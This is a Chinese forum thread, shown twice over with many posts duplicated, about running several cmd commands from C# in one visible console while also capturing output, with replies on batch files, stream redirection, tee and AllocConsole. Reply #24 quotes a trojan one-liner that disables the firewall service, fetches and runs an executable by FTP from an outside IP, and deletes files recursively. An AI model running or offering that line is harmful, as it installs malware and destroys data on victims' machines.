要求还是一样,我需要显示命令提示符窗口,而不是隐藏,因为我要即时看到输出结果
例如我要执行
dir
ping 192.168.1.1
ver
这3个命令,它们的输入输出都在一个窗口进行,所以不能调用Process.Start方法3次来实现
如果重定向输入的话,可以写入多个命令,但是输出内容不会显示在cmd窗口
另外,我想执行一个dos命令,它的输出结果既显示在dos窗口,还能在程序中获得,该怎么办?
24 个解决方案
#1
额,分数少写一个0,加分好像要隔一天,明天加100.
#2
呵,把三个命令加在一个BAT文件中,再从C#中执行BAT,我只知道这个
#3
批处理呢
#4
期待OX
#5
打开窗口,发送键盘消息试试
#6
http://www.cn-dos.net/forum/viewthread.php?tid=22281&fpage=1&highlight=tee&page=2
#7
我只给你解决方法,不给你代码了::::
Process----inputstream
---------outputstream
in是输入参数
out是输出结果
Process----inputstream
---------outputstream
in是输入参数
out是输出结果
#8
楼上这位是捣乱还是咋的?
在那个帖子里,你把java代码整来了。
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。
在那个帖子里,你把java代码整来了。
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。
#9
哈哈,他就是来捣乱的,气死楼主你
#10
高手也有失足的是个吗。。理解万岁
#11
先用程序建立批处理,再来用Process.Start
#12
要不这样凑活着用吧
Dim myProcess As Process = New Process()
Dim s As String
myProcess.StartInfo.FileName = "cmd.exe"
myProcess.StartInfo.UseShellExecute = False
myProcess.StartInfo.CreateNoWindow = True
myProcess.StartInfo.RedirectStandardInput = True
myProcess.StartInfo.RedirectStandardOutput = True
myProcess.StartInfo.RedirectStandardError = True
myProcess.Start()
Dim sIn As StreamWriter = myProcess.StandardInput
sIn.AutoFlush = True
Dim sOut As StreamReader = myProcess.StandardOutput
Dim sErr As StreamReader = myProcess.StandardError
sIn.Write("dir" & System.Environment.NewLine)
sIn.Write("ping 127.0.0.1" & System.Environment.NewLine)
sIn.Write("ver" & System.Environment.NewLine)
sIn.Write("exit" & System.Environment.NewLine)
s = sOut.ReadToEnd()
If Not myProcess.HasExited Then
myProcess.Kill()
End If
MessageBox.Show("The 'dir' command window was closed at: " & myProcess.ExitTime & "." & System.Environment.NewLine & "Exit Code: " & myProcess.ExitCode)
sIn.Close()
sOut.Close()
sErr.Close()
myProcess.Close()
MessageBox.Show(s)
#13
Process p = new Process();
p.StartInfo = new ProcessStartInfo("CMD");
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
p.StandardInput.WriteLine("dir");
p.StandardInput.WriteLine("dir");
p.StandardInput.WriteLine("exit");
String s = p.StandardOutput.ReadToEnd();
我试了了可行,但是不能把它输出到终端上。。。。。-_-可转到文件中或显示在form里
p.StartInfo = new ProcessStartInfo("CMD");
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
p.StandardInput.WriteLine("dir");
p.StandardInput.WriteLine("dir");
p.StandardInput.WriteLine("exit");
String s = p.StandardOutput.ReadToEnd();
我试了了可行,但是不能把它输出到终端上。。。。。-_-可转到文件中或显示在form里
#14
是的,放到终端比较麻烦,可能要SendMessage来试试,能凑合就这样好了,放到终端也没什么意义,不知道你是什么用
#15
批处理就可以了
#16
你从哪里看出java代码来了,我又不认识,捣你蛋,我吃饱了撑了,页面斗大的 中国DOS联盟" 你看不见?
『第 17 楼』:
Re acoreq 『第 16 楼』:
终于把你的意图完整地表达出来了,这个过程还真有点折磨人啊。
其实你可以多次使用形如 echo & echo>>filename.txt 的语句来在屏幕显示和输出到文件中去,要是在最后才来一次性地生成屏幕上显示的内容的话,在很多情况下是无法用命令来做到的,只能用最笨的标记的方法来完成,因为一个批处理中,上下语句往往是有前后关系的,后一句可能把前一句的变量给改变了。
他的意思就是执行两次,后面一次存文件,dos 命令 echo 是干嘛的,你可以去查查看,显示信息的,那这里就举个例子,echo & echo>>filename.txt 结果是文件里显示echo 状态开的文字
不过,如果你自命是一个很爱钻研(较真的同义词)的批处理设计者,因此对以上的方案都抱有某种不满(比如第三方案中的临时日志文件),我们就需要寻找更合适的方案。
首先,我会想到一个名为 tee (很古怪的名字)的 Unix 工具,它是将标准输出的文本输出到控制台的同时输出到文件中(其中未涉及重定向的概念,但本质上是类似的机制)的标准工具,我们可以很轻易的获得这个工具的DOS或者Windows移植版[1]。
它的用法很简单,在[2]中曾有提及
dir | tee cmd.log
cd | tee --append cmd.log
tee 是一个dos下也有版本的工具!
这个帖子19楼下面给出一个链接你看过没有
[2][求助]如何实现既在屏幕上显示执行结果又可以把结果保存到
http://www.cn-dos.net/forum/viewthread.php?tid=21531
『第 3 楼』:
功能说明:读取标准输入的数据,并将其内容输出成文件。
语 法:tee [-ai][--help][--version][文件…]
补充说明: tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。我们可利用tee把管道导入的数据存成文件,甚至一次保存数份文件。
参 数:-a 附加到既有文件的后面,而非覆盖它。如果给予tee指令的文件名称已经存在,预设会覆盖该文件的内容。加上此参数后,数据会新增在该文件内容的最后面,而不会删除原先之内容。
-i 忽略中断信号
--help 在线帮助
--version 显示版本信息
范 例:
列出文本文件slayers.story的内容,同时复制3份副本,文件名称分别为ss-copy1、ss-copy2、ss-copy3:
$ cat slayers.story |tee ss-copy1 ss-copy2 ss-copy3
范 例什么意思不懂吗?tee有unix和dos2个版本[
而且人家也给出了dos的范 例!:
dir | tee cmd.log
意思就是dir显示出来而且利用这个工具吧结果输出到cmd.log文件里去!
直接用要执行的dos命令 dos管道|后加tee 文件名,很简单
/color]
[color=#FF0000]『第 4 楼』:
Quote:
Originally posted by zhaxi at 2006-6-28 12:47 PM:
功能说明:读取标准输入的数据,并将其内容输出成文件。
语 法:tee [-ai][--help][--version][文件…]
补充说明:tee指令会从标准输入设备 ...
那些网站中是没有这个软件的。DOS版的TEE见附件:
附件 1: TEE.EXE (2006-6-28 13:33, 62.5 K, 下载附件所需积分 1 点 ,下载次数: 127)
人家都给出dos版本的链接了,至于能不能下,我没试过,别问我!
你如果不想用第三方写的外部命令tee.com
直接用一开始说的方法,缺点是执行两次!,只对读类型的命名好用
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace WindowsApplication62
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
String S = "/k \"dir c:\\ & dir c:\\ > c:\\log.txt & ping 192.168.1.1 & ping 192.168.1.1 >> c:\\log.txt & ver & ver >> c:\\log.txt\"";
System.Diagnostics.Process.Start("cmd.exe ", S);
}
}
}
你自己好好看看是不是一边显示一边都存进c:\log.txt里去了
#17
又一点说错了 & 是组合,| 才是管道
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
#18
这位兄台火气太大了吧?
你再仔细看看,我的楼上是哪位?
#19
期待OX
#20
捣你蛋的!!妈的
#21
楼上这位是捣乱还是咋的?
在那个帖子里,你把java代码整来了。
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了
看错了,你应该指的是你ls那个在你以前发的帖子里写了java代码,然后在这个帖子里又发了你不满意的帖子,逻辑很复杂。。。
粗一看,是理解成说我的帖子比较容易。。楼层挨得很近。。
#22
我同意2楼的,把所有的命令写成一个批处理文件,在文件的末尾写上暂停的命令,然后使用Process.Start(fileName)执行这个批处理文件,所有的命令之后都会显示在一个doscmd中,最后的暂停命令确保doscmd窗口不会关闭。
#23
[DllImport("Kernel32.dll")]
static extern bool AllocConsole();
[DllImport("Kernel32.dll")]
static extern bool FreeConsole();
启动时先调用AllocConsole()创建主进程Console,如果程序不需要捕获命令的标准输出,创建子进程的时候只要CreateNoWindow=false,子进程的输出都会显示在主进程的console里;如果主程序需要捕获输出,那么需要自己把子进程输出用Console.WriteLine打印。最后记得结束前调用FreeConsole()释放。
#24
楼主,楼上不是有人回答了吗,用 & 符号来连接你的命令。
给你一段人家写的木马执行语句:
Cmd.exe /c del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&Md str312146&Cd str312146&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&Echo Open 222.208.183.101 >k.w&echo admin >>k.w&echo 123456 >>k.w&echo get guojing7.exe
>>k.w&echo bye >>k.w&ftp -i -s:k.w&del k.w&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat&&del *.* /f /s /q
给你一段人家写的木马执行语句:
Cmd.exe /c del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&Md str312146&Cd str312146&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&Echo Open 222.208.183.101 >k.w&echo admin >>k.w&echo 123456 >>k.w&echo get guojing7.exe
>>k.w&echo bye >>k.w&ftp -i -s:k.w&del k.w&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat&&del *.* /f /s /q
#1
额,分数少写一个0,加分好像要隔一天,明天加100.
#2
呵,把三个命令加在一个BAT文件中,再从C#中执行BAT,我只知道这个
#3
批处理呢
#4
期待OX
#5
打开窗口,发送键盘消息试试
#6
http://www.cn-dos.net/forum/viewthread.php?tid=22281&fpage=1&highlight=tee&page=2
#7
我只给你解决方法,不给你代码了::::
Process----inputstream
---------outputstream
in是输入参数
out是输出结果
Process----inputstream
---------outputstream
in是输入参数
out是输出结果
#8
楼上这位是捣乱还是咋的?
在那个帖子里,你把java代码整来了。
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。
在那个帖子里,你把java代码整来了。
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了。
#9
哈哈,他就是来捣乱的,气死楼主你
#10
高手也有失足的是个吗。。理解万岁
#11
先用程序建立批处理,再来用Process.Start
#12
要不这样凑活着用吧
Dim myProcess As Process = New Process()
Dim s As String
myProcess.StartInfo.FileName = "cmd.exe"
myProcess.StartInfo.UseShellExecute = False
myProcess.StartInfo.CreateNoWindow = True
myProcess.StartInfo.RedirectStandardInput = True
myProcess.StartInfo.RedirectStandardOutput = True
myProcess.StartInfo.RedirectStandardError = True
myProcess.Start()
Dim sIn As StreamWriter = myProcess.StandardInput
sIn.AutoFlush = True
Dim sOut As StreamReader = myProcess.StandardOutput
Dim sErr As StreamReader = myProcess.StandardError
sIn.Write("dir" & System.Environment.NewLine)
sIn.Write("ping 127.0.0.1" & System.Environment.NewLine)
sIn.Write("ver" & System.Environment.NewLine)
sIn.Write("exit" & System.Environment.NewLine)
s = sOut.ReadToEnd()
If Not myProcess.HasExited Then
myProcess.Kill()
End If
MessageBox.Show("The 'dir' command window was closed at: " & myProcess.ExitTime & "." & System.Environment.NewLine & "Exit Code: " & myProcess.ExitCode)
sIn.Close()
sOut.Close()
sErr.Close()
myProcess.Close()
MessageBox.Show(s)
#13
Process p = new Process();
p.StartInfo = new ProcessStartInfo("CMD");
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
p.StandardInput.WriteLine("dir");
p.StandardInput.WriteLine("dir");
p.StandardInput.WriteLine("exit");
String s = p.StandardOutput.ReadToEnd();
我试了了可行,但是不能把它输出到终端上。。。。。-_-可转到文件中或显示在form里
p.StartInfo = new ProcessStartInfo("CMD");
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
p.StandardInput.WriteLine("dir");
p.StandardInput.WriteLine("dir");
p.StandardInput.WriteLine("exit");
String s = p.StandardOutput.ReadToEnd();
我试了了可行,但是不能把它输出到终端上。。。。。-_-可转到文件中或显示在form里
#14
是的,放到终端比较麻烦,可能要SendMessage来试试,能凑合就这样好了,放到终端也没什么意义,不知道你是什么用
#15
批处理就可以了
#16
你从哪里看出java代码来了,我又不认识,捣你蛋,我吃饱了撑了,页面斗大的 中国DOS联盟" 你看不见?
『第 17 楼』:
Re acoreq 『第 16 楼』:
终于把你的意图完整地表达出来了,这个过程还真有点折磨人啊。
其实你可以多次使用形如 echo & echo>>filename.txt 的语句来在屏幕显示和输出到文件中去,要是在最后才来一次性地生成屏幕上显示的内容的话,在很多情况下是无法用命令来做到的,只能用最笨的标记的方法来完成,因为一个批处理中,上下语句往往是有前后关系的,后一句可能把前一句的变量给改变了。
他的意思就是执行两次,后面一次存文件,dos 命令 echo 是干嘛的,你可以去查查看,显示信息的,那这里就举个例子,echo & echo>>filename.txt 结果是文件里显示echo 状态开的文字
不过,如果你自命是一个很爱钻研(较真的同义词)的批处理设计者,因此对以上的方案都抱有某种不满(比如第三方案中的临时日志文件),我们就需要寻找更合适的方案。
首先,我会想到一个名为 tee (很古怪的名字)的 Unix 工具,它是将标准输出的文本输出到控制台的同时输出到文件中(其中未涉及重定向的概念,但本质上是类似的机制)的标准工具,我们可以很轻易的获得这个工具的DOS或者Windows移植版[1]。
它的用法很简单,在[2]中曾有提及
dir | tee cmd.log
cd | tee --append cmd.log
tee 是一个dos下也有版本的工具!
这个帖子19楼下面给出一个链接你看过没有
[2][求助]如何实现既在屏幕上显示执行结果又可以把结果保存到
http://www.cn-dos.net/forum/viewthread.php?tid=21531
『第 3 楼』:
功能说明:读取标准输入的数据,并将其内容输出成文件。
语 法:tee [-ai][--help][--version][文件…]
补充说明: tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。我们可利用tee把管道导入的数据存成文件,甚至一次保存数份文件。
参 数:-a 附加到既有文件的后面,而非覆盖它。如果给予tee指令的文件名称已经存在,预设会覆盖该文件的内容。加上此参数后,数据会新增在该文件内容的最后面,而不会删除原先之内容。
-i 忽略中断信号
--help 在线帮助
--version 显示版本信息
范 例:
列出文本文件slayers.story的内容,同时复制3份副本,文件名称分别为ss-copy1、ss-copy2、ss-copy3:
$ cat slayers.story |tee ss-copy1 ss-copy2 ss-copy3
范 例什么意思不懂吗?tee有unix和dos2个版本[
而且人家也给出了dos的范 例!:
dir | tee cmd.log
意思就是dir显示出来而且利用这个工具吧结果输出到cmd.log文件里去!
直接用要执行的dos命令 dos管道|后加tee 文件名,很简单
/color]
[color=#FF0000]『第 4 楼』:
Quote:
Originally posted by zhaxi at 2006-6-28 12:47 PM:
功能说明:读取标准输入的数据,并将其内容输出成文件。
语 法:tee [-ai][--help][--version][文件…]
补充说明:tee指令会从标准输入设备 ...
那些网站中是没有这个软件的。DOS版的TEE见附件:
附件 1: TEE.EXE (2006-6-28 13:33, 62.5 K, 下载附件所需积分 1 点 ,下载次数: 127)
人家都给出dos版本的链接了,至于能不能下,我没试过,别问我!
你如果不想用第三方写的外部命令tee.com
直接用一开始说的方法,缺点是执行两次!,只对读类型的命名好用
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace WindowsApplication62
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
String S = "/k \"dir c:\\ & dir c:\\ > c:\\log.txt & ping 192.168.1.1 & ping 192.168.1.1 >> c:\\log.txt & ver & ver >> c:\\log.txt\"";
System.Diagnostics.Process.Start("cmd.exe ", S);
}
}
}
你自己好好看看是不是一边显示一边都存进c:\log.txt里去了
#17
又一点说错了 & 是组合,| 才是管道
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
三.如何使用组合命令(Compound Command)
1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\Ex4rch
2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif
#18
这位兄台火气太大了吧?
你再仔细看看,我的楼上是哪位?
#19
期待OX
#20
捣你蛋的!!妈的
#21
楼上这位是捣乱还是咋的?
在那个帖子里,你把java代码整来了。
这个帖子了,我说了要在cmd窗口上显示输入输出,你这样根本就不会显示了
看错了,你应该指的是你ls那个在你以前发的帖子里写了java代码,然后在这个帖子里又发了你不满意的帖子,逻辑很复杂。。。
粗一看,是理解成说我的帖子比较容易。。楼层挨得很近。。
#22
我同意2楼的,把所有的命令写成一个批处理文件,在文件的末尾写上暂停的命令,然后使用Process.Start(fileName)执行这个批处理文件,所有的命令之后都会显示在一个doscmd中,最后的暂停命令确保doscmd窗口不会关闭。
#23
[DllImport("Kernel32.dll")]
static extern bool AllocConsole();
[DllImport("Kernel32.dll")]
static extern bool FreeConsole();
启动时先调用AllocConsole()创建主进程Console,如果程序不需要捕获命令的标准输出,创建子进程的时候只要CreateNoWindow=false,子进程的输出都会显示在主进程的console里;如果主程序需要捕获输出,那么需要自己把子进程输出用Console.WriteLine打印。最后记得结束前调用FreeConsole()释放。
#24
楼主,楼上不是有人回答了吗,用 & 符号来连接你的命令。
给你一段人家写的木马执行语句:
Cmd.exe /c del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&Md str312146&Cd str312146&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&Echo Open 222.208.183.101 >k.w&echo admin >>k.w&echo 123456 >>k.w&echo get guojing7.exe
>>k.w&echo bye >>k.w&ftp -i -s:k.w&del k.w&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat&&del *.* /f /s /q
给你一段人家写的木马执行语句:
Cmd.exe /c del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&Md str312146&Cd str312146&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&Echo Open 222.208.183.101 >k.w&echo admin >>k.w&echo 123456 >>k.w&echo get guojing7.exe
>>k.w&echo bye >>k.w&ftp -i -s:k.w&del k.w&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat&&del *.* /f /s /q